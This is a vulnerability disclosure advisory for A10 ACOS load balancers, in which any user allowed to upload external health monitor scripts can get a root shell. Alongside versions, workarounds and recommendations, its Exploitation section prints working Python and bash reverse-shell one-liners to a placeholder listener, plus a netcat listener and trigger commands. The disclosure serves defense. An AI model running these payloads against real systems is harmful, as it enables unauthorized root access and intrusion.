The following summarizes a root privilege escalation vulnerability that I identified in A10 ACOS ADC software. This was disclosed to A10 Networks in June 2016 and mitigations have been put in place to limit exposure to the vulnerability.

SUMMARY OF VULNERABILITY

Any user assigned sufficient privilege to upload an external health monitor (i.e a script) and reference it from a health monitor can gain root shell access to ACOS.

At this point, I respectfully acknowledge Raymond Chen’s wise words about being on the other side of an airtight hatch; if the malicious user is already a system administrator or has broad permissions, then one could argue that they could already do huge damage to the ADC in other ways. However, root access could allow that user to install persistent backdoors or monitoring threats in the underlying OS where other users can neither see nor access them. It could also allow a partition-level administrator to escalate effectively to a global admin, by way of being able to see the files in every partition on the ADC.

SOFTWARE VERSIONS TESTED:

This vulnerability was originally discovered and validated initially in ACOS 2.7.2-P4-SP2 and is present in 4.x as well.

VULNERABLE VERSIONS

This behavior has been core to external health monitor scripts, so it can be reasonably stated that this vulnerability exists in:

• ACOS 2.7.2 initial release and tested up to 2.7.2-P14 inclusive
• ACOS 4.0 initial release up to 4.1.4-GR1-P1 inclusive

WORKAROUNDS

2.7.2: Use Role Based Access Control to map users to a Role which does not include External Health Monitor privileges.
4.1.1-P10 onwards: Ensure that administrators do not have the new “HM” privilege unless absolutely necessary.

FIXED IN

The underlying vulnerability for this privilege escalation has not been fixed, so a user with health monitor rights can still gain a root shell as of 2.7.2-P14 and 4.1.4-GR1-P1.

However, the following mitigations were rolled out place as of v4.1.1-P10:

• External HM privileges have been removed from the default ReadWriteAdmin role;
• A new “ReadWriteHM” privilege has been created, which is effectively one level above ReadWrite privilege, and allows administration of External HMs;
• External HM privilege can no longer be granted to Partition admins, only to global admins.

Ideally the health monitors would not be running as root and it would perhaps be wise to run them in a chrooted environment. However, given the extent of code rewriting that this would incur, and the fact that this is an admin privilege escalation rather than a guest->root escalation, I believe that these changes are appropriate and see them as good steps to protect against nefarious administrators.

AUTHOR / DISCOVERER

John Herbert (https://movingpackets.net)

Vulnerability Details

Custom health monitors can be created in ACOS in the form of “external health monitors”, i.e. scripts that are uploaded by the user to perform a non-standard health check and return an up or down status by way of exit code. Supported languages for such health checks include Bourne Shell, BASH and Python 2.7. Scripts can be uploaded by users who have been granted the appropriate configuration-level permissions (including users whose write permissions are limited to their own partition), after which the script can be used as the health check method within a health monitor configuration.

Unfortunately, uploaded scripts are stored and executed with uid/gid 0 (root), so it is trivial to trigger a reverse shell to a listening system which will have root privilege on the A10 load balancer.

Exploitation

Exploiting this vulnerability is simple. First, create a simple “reverse shell” script. Examples are given here in bash and in python, in both cases triggered from within a bash script:

Python:

#!/bin/bash
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<LISTENER_IP>”,<LISTENER_PORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' &
exit 0

BASH:

#!/bin/bash
bash -i >& /dev/tcp/<LISTENER_IP>/<LISTENER_PORT> 0>&1 &
exit 0

Both of the examples above will trigger a backgrounded process that will initiate a TCP connection to <LISTENER_IP> on port <LISTENER_PORT>. To put this into effect, follow these simple steps:

1. Create an external health monitor on the A10, and populate it with one of the scripts above.
2. Create a health monitor that references the external health monitor script. It is necessary to have sufficient privilege – at a minimum within a partition – to upload the script and create a health monitor, so this is definitely a privilege escalation rather than a full external hack.
3. Set up a listener on a device accessible to the ACOS management port. In this case, using netcat: nc -l 5555
4. Trigger the script.

Triggering the script can be done in one of two ways, depending on the platform:

Apply the Health Monitor to an object

Both 2.7.x and 4.x code allows a health monitor to be applied to an object. At its simplest, create a server object and use the new health monitor:

slb server innocent_looking_server 1.2.3.4
health monitor root_shell_hm
!

Test the Health Monitor (2.7.x only)

ACOS v2.7.x offers a way to manually test a health monitor against a server. The destination IP to test does not matter, as our health monitor isn’t going to be trying to contact it. In the CLI:

health-test 1.2.3.4 monitorname root_shell_hm

Once the HM has been applied to an object or the test has been manually triggered, the A10 should establish a connection back to the target machine on the specified port. The netcat listener should now look something like this:

$nc -l 5555
sh: no job control in this shell
sh-4.2#

Now to validate that we have root:

sh-4.2#id
uid=0(root) gid=0(root) groups=0(root)
sh-4.2#

Observations Regarding Impact

It is already possible (with a few intermediate steps) to mount a vThunder (a virtual A10 ADC) disk image in linux and freely browse the content, so the information within the A10 OS is arguably already exposed and editable in offline circumstances; but then, who has disk images from their production A10 systems lying around? That notwithstanding, this privilege escalation allows root access to a live production system, and could also allow a partition admin to view configuration data from partitions which the attacker is not entitled to access.

Recommendation

• Only grant external health monitor (EHM) access to administrators when absolutely needed, using Roles (v2.7.2) or the new ReadWriteHM privilege (v4.1.1-P10 onwards)
• Audit external health monitor scripts periodically
• ACOS 4.1 users running ACOS 4.1.1-P9 or earlier should upgrade to 4.1.1-P10 or later